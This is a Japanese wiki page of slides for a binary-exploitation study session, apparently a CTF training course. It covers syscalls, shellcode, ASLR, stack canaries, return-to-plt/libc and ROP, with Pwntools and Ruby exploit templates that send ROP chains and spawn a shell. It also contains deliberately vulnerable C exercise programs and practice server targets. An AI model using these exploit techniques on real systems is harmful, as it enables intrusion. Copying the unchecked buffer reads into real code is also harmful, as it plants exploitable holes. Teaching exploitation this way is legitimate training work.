ログイン
編集不可のページディスカッション情報添付ファイル
"ytoku/Slides/Pwn勉強会"の差分

MMA
22と23のリビジョン間の差分
2015-05-06 13:10:45時点のリビジョン22
サイズ: 12739
編集者: ytoku
コメント:
2015-05-06 13:52:56時点のリビジョン23
サイズ: 12760
編集者: ytoku
コメント:
削除された箇所はこのように表示されます。 追加された箇所はこのように表示されます。
行 218: 行 218:
    fflush(stdout);

Pwn勉強会(Stack day)

Tools

  • Disassembler
    • udcli / ndisasm
    • objdump
    • METASM / Hopper / IDA Pro
    • rp++ (for ROP)
  • Assembler
    • nasm
    • Pwntools
    • METASM?
  • Debugger
    • gdb-peda
  • Pwn toolkit
    • Pwntools
    • Ruby系でなにか
  • checksec.sh

Python(Pwntools)とRuby(METASM? ctfライブラリ?)好きな方を選んで作業を進めてもらう.

x86 assembly

  • Intel記法
    • データはオペランドの右から左に流れる
    • 比較命令のオペランドの順序が命令名と一致しているためわかりやすい
    •   14:   8b 45 f8                mov    eax,DWORD PTR [rbp-0x8]
        17:   01 45 fc                add    DWORD PTR [rbp-0x4],eax
        1a:   83 45 f8 01             add    DWORD PTR [rbp-0x8],0x1
        1e:   83 7d f8 09             cmp    DWORD PTR [rbp-0x8],0x9
        22:   7e f0                   jle    14 <f+0x14>
  • AT&T記法

    • Intel記法のオペランドと逆順
    •   14:   8b 45 f8                mov    -0x8(%rbp),%eax
        17:   01 45 fc                add    %eax,-0x4(%rbp)
        1a:   83 45 f8 01             addl   $0x1,-0x8(%rbp)
        1e:   83 7d f8 09             cmpl   $0x9,-0x8(%rbp)
        22:   7e f0                   jle    14 <f+0x14>

System call

  • システムコールとは
    • プログラムがカーネルとやりとりする一元化された窓口
  • プログラムの動作権限
    • ユーザモード
      • 普通のプログラムが動作
      • 基本的にプロセスのメモリ内で計算しかできない.
      • それ以外のことをするためにはシステムコールを呼ぶ
    • カーネルモード
      • カーネルが動作
    • 任意の操作が可能

systemcall.png

How to call System calls

システムコールの呼び出し方

  • x86
    • int 0x80
      • INTerrupt (ソフトウェア割り込み命令)
    • システムコール番号: eax
    • 引数: ebx, ecx, edx, esi, edi, ebp
  • x86-64
    • syscall命令
    • システムコール番号: rax
    • 引数: rdi, rsi, rdx, r10, r8, r9

arch

instruction

syscall #

retval

arg1

arg2

arg3

arg4

arg5

arg6

x86

int 0x80

eax

eax

ebx

ecx

edx

esi

edi

ebp

x86-64

syscall

rax

rax

rdi

rsi

rdx

r10

r8

r9

システムコール番号

system call

x86

x86-64

execve

11

59

open

5

2

read

3

0

write

4

1

参考文献

  • /usr/include/x86_64-linux-gnu/asm/unistd_32.h
  • /usr/include/x86_64-linux-gnu/asm/unistd_64.h

Pwntools

Pwntools?

  • for Python
  • 透過的・統合的なI/Oインターフェイス
  • recvuntil, interactiveなどの便利なI/O機能
  • シェルコードの生成
  • アセンブラ/ディスアセンブラ
  • 攻撃対象アーキテクチャに合わせたバイトオーダ・定数

install

  • pip install pwntools

Pwntools example

   1 # -*- coding: utf-8 -*-
   2 from pwn import *
   3 ## exploit対象のアーキテクチャ
   4 context(arch = 'i386', os = 'linux')
   5 # context(arch = "amd64", os = "linux")
   6 ## 攻撃のサーバに接続
   7 conn = process("./example")
   8 # conn = remote("example.com", 10000)
   9 ## ROPを構成
  10 rop = ""
  11 rop += p32(0x8048330)       # mprotect
  12 rop += p32(0x804855d)       # skip 3 words
  13 rop += p32(0x20000000)      # buf
  14 ...
  15 ## シェルコードをアセンブル
  16 shellcode = asm(shellcraft.sh())
  17 ## ログ表示
  18 p = log.waitfor("Pwning")
  19 ## ": "を受信するまでrecv
  20 conn.recvuntil(": ")
  21 ## エクスプロイトを送信
  22 conn.send(rop)
  23 time.sleep(0.5)
  24 conn.send(shellcode)
  25 ## ログ表示
  26 p.success("OK")
  27 ## コンソールの入出力を攻撃対象に接続
  28 conn.interactive()

Ruby Example

以下の外部ライブラリを利用する

  • metasm Ruby向けアセンブリ統合環境
    • gem install metasmでインストール可能

  • ctf_io.rb interactiveに通信するために必要

標準ライブラリのうち以下はpwnの問題を解く上でとても良く利用される

  • socket TCPやUDPのサーバに接続する

  • expect 正規表現にマッチする文字列が表われるまでreadする

   1 require 'metasm'
   2 require 'expect' # IO#expect
   3 require 'socket' # TCPSocket
   4 require_relative 'ctf_io' # IO#interactive!
   5 
   6 # シェルコードをアセンブル(x86)
   7 # x86-64の場合はMetasm::Ia32の変わりにMetasm::X86_64を利用する
   8 shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encode_string
   9 mov eax, 1
  10 mov ebx, 42
  11 int 80h   // exit(42)
  12 SOURCE
  13 
  14 # ROPを作成
  15 rop = ''
  16 rop << [0x8048330, 0x804855d].pack("I*") # 32bit little endian
  17 # "Q"が64bit litten endian
  18 
  19 # コマンドを実行し、その入出力をIOオブジェクトとして取得します。
  20 IO.popen('./example', 'w') do |s|
  21   # TCPサーバに接続する場合は次のようにします。
  22   # TCPSocket.open('ctforderpwn.cloudapp.net', 11011) do |s|
  23 
  24   s.expect(": ") # ": "を受信するまでread
  25   # s.expect(/(\d+): /) 正規表現も利用可能
  26 
  27   # エクスプロイトの送信
  28   s.print rop
  29   sleep 0.5
  30   s.print shellcode
  31 
  32   # コンソールの入出力を攻撃対称に接続
  33   s.interactive!
  34 end
  35 exit 0
  36 # ログ出力が必要な場合、Rubyの標準のLogライブラリあたりを利用できます
  37 # 普通にSTDOUT.putsやppやpで十分な場合がほとんどだと思います。
  38 
  39 # ここからアセンブラに関する補足。
  40 
  41 # アセンブラではマクロを利用可能
  42 shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encode_string
  43 #define EXIT 42
  44 #define syscall int 80h
  45 mov eax, 1
  46 mov ebx, EXIT
  47 syscall   // exit(42)
  48 SOURCE
  49 
  50 
  51 # Cのヘッダファイルのインクルードし、定数等を利用
  52 shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encode_string
  53 #include <asm/unistd_32.h>
  54 #define syscall(name) mov eax, __NR_##name \\
  55                           int 0x80
  56 #define syscall1(name, arg1) mov ebx, arg1 syscall(name)
  57 syscall1(exit, 42)
  58 SOURCE
  59 
  60 
  61 # 定数を後からプログラムで設定
  62 shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encoded
  63 mov eax, fd
  64 SOURCE
  65 shellcode.fixup 'fd' => 3 # fdを3に設定
  66 shellcode = shellcode.data # 文字列として取得

Shellcode

   1 // gcc -z execstack -fno-stack-protector -o baby1 baby1.c
   2 // -m32 / -m64 両方やってもらうよ!
   3 #include <stdio.h>
   4 typedef void func();
   5 int main() {
   6     char buf[1024];
   7     int n;
   8     printf("length: ");
   9     fflush(stdout);
  10     fread(&n, 1, sizeof(n), stdin);
  11     printf("shellcode: ");
  12     fflush(stdout);
  13     fread(buf, 1, n, stdin);
  14     ((func *)buf)();
  15 }

Targets

  • GNU/Linux:x86 ctforderpwn.cloudapp.net 10101

  • GNU/Linux:x86-64 ctforderpwn.cloudapp.net 10102

時間が余った人はARMにもチャレンジ

  • GNU/Linux:arm-gnueabihf ctforderpwn.cloudapp.net 10103

Shellcode(no /bin/sh)

  • chroot環境版
  • /bin/shが無いのでopen, read, writeを自分で行う必要がある

Targets

  • GNU/Linux:x86 ctforderpwn.cloudapp.net 10201

  • GNU/Linux:x86-64 ctforderpwn.cloudapp.net 10202

時間が余った人はARMにもチャレンジ

  • GNU/Linux:arm-gnueabihf ctforderpwn.cloudapp.net 10203

x86/x86-64 ABI

x86/x86_64関数呼び出しチートシート

ASLR

  • プログラム本体,ライブラリ,ヒープ,スタックのアドレスのランダム化により攻撃の成功確率を低減
  • 特にメモリ空間が広大な64ビットOSにおいて効果的
    • 32ビットOSではブルートフォースが有効なこともある
  • プログラムやライブラリをコンパイルする際に配置アドレスに依存させないように設定が必要
    • -pie -fPIE

    • /DYNAMICBASE

  • 現在でもプログラム本体が位置独立コードになっていないものは多い

Return-to-plt

  • Returnアドレスを書き換えることで任意のアドレスに制御を移すことが出来る.
  • PLT
    • プログラム中に含まれるライブラリの関数を呼び出すための処理
    • プログラム本体のアドレスがランダム化されていない際に,ライブラリを呼び出すのに利用できる
  • ReturnアドレスにPLTのアドレスを指定してやれば関数終了時にライブラリの関数が呼び出せる
  • 複数の関数を連続して呼ぶ方法をここで板書

Stack canary

http://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/c905.html

  • fork型のサーバではカナリヤは変化しない

Return-to-plt & Stack canary (演習)

   1 // gcc -m32 -fstack-protector -o baby3 baby3.c
   2 #include <stdio.h>
   3 #include <unistd.h>
   4 char buf2[128];
   5 int f() {
   6     char buf[32];
   7     int n;
   8     fread(&n, 1, sizeof(n), stdin);
   9     system("sleep 1");
  10     fread(buf, 1, n, stdin);
  11     return 0;
  12 }
  13 int main() { return f(); }

Target

  • GNU/Linux:x86 ctforderpwn.cloudapp.net 10301

Return-to-libc

  • Return-to-pltではプログラムで使用している関数しか呼び出せない
  • libcが配置されているアドレスを知っていればlibcの任意の関数が呼び出し可能に
    • main関数を呼び出しているのはlibcの__libc_start_main関数

    • つまりmain関数からの戻り先を見ればlibcの場所が分かる!

Return-to-libc (演習)

   1 // gcc -m32 -pie -fPIE -fno-stack-protector -o baby4 baby4.c
   2 #include <stdio.h>
   3 #include <unistd.h>
   4 int main() {
   5     char buf[32];
   6     int n;
   7     write(1, buf, 128);
   8     fread(&n, 1, sizeof(n), stdin);
   9     fread(buf, 1, n, stdin);
  10     return 0;
  11 }

Target

  • GNU/Linux:x86 ctforderpwn.cloudapp.net 10401

    • baby4-1

    • libc6-i386 (2.19-0ubuntu6.6)

時間が余った人はx86-64とARMにもチャレンジ

  • GNU/Linux:x86-64 ctforderpwn.cloudapp.net 10402

    • baby4-2

    • libc6:amd64 (2.19-0ubuntu6.6)
  • GNU/Linux:arm-gnueabihf ctforderpwn.cloudapp.net 10403

    • baby4-3

    • libc6-armhf-cross (2.19-0ubuntu2cross1.104)

ROP

  • Return-to-pltやReturn-to-libcでは関数としてひとまとまりになった処理しか呼び出せない
  • 関数の最後の部分を捕まえて命令単位で細切れ(gadget)にして呼び出す
  • さらにx86では命令が可変長なため,命令の途中から実行すると意味が変わる

    • 本来のプログラムには存在しなかったような命令を作り出せることがある
    • rp++で探索

Return-to-plt revisited(x86-64) with tiny ROP

   1 // gcc -m64 -fstack-protector -o baby3 baby3.c
   2 #include <stdio.h>
   3 #include <unistd.h>
   4 char buf2[128];
   5 int f() {
   6     char buf[32];
   7     int n;
   8     fread(&n, 1, sizeof(n), stdin);
   9     system("sleep 1");
  10     fread(buf, 1, n, stdin);
  11     return 0;
  12 }
  13 int main() { return f(); }

Target

  • GNU/Linux:x86-64 ctforderpwn.cloudapp.net 10302

時間が余った人はARMにもチャレンジ

  • GNU/Linux:arm-gnueabihf ctforderpwn.cloudapp.net 10303

ROP (演習)

   1 // gcc -m32 -static -fno-stack-protector -o baby5 baby5.c
   2 #include <stdio.h>
   3 #include <unistd.h>
   4 int f() {
   5     char buf[32];
   6     int n;
   7     fread(&n, 1, sizeof(n), stdin);
   8     fread(buf, 1, n, stdin);
   9     return 0;
  10 }
  11 int main() { return f(); }

Target

  • GNU/Linux:x86 ctforderpwn.cloudapp.net 10501

時間が余った人はx86-64とARMにもチャレンジ

  • GNU/Linux:x86-64 ctforderpwn.cloudapp.net 10502

  • GNU/Linux:arm-gnueabihf ctforderpwn.cloudapp.net 10503

その他

Format String Attack

  • 情報のリークも改竄もできる優秀な脆弱性
  • %nで改竄するためには普通にやると書き込みたい値だけ標準出力に吐き出す必要がある

    • 書き換え領域を重複させながら,先頭から1バイトないし2バイトずつ書き換えて行くことで通信量を減らせる

実践

適当な問題を探す

ytoku/Slides/Pwn勉強会 (最終更新日時 2015-10-07 15:46:40 更新者 nomeaning)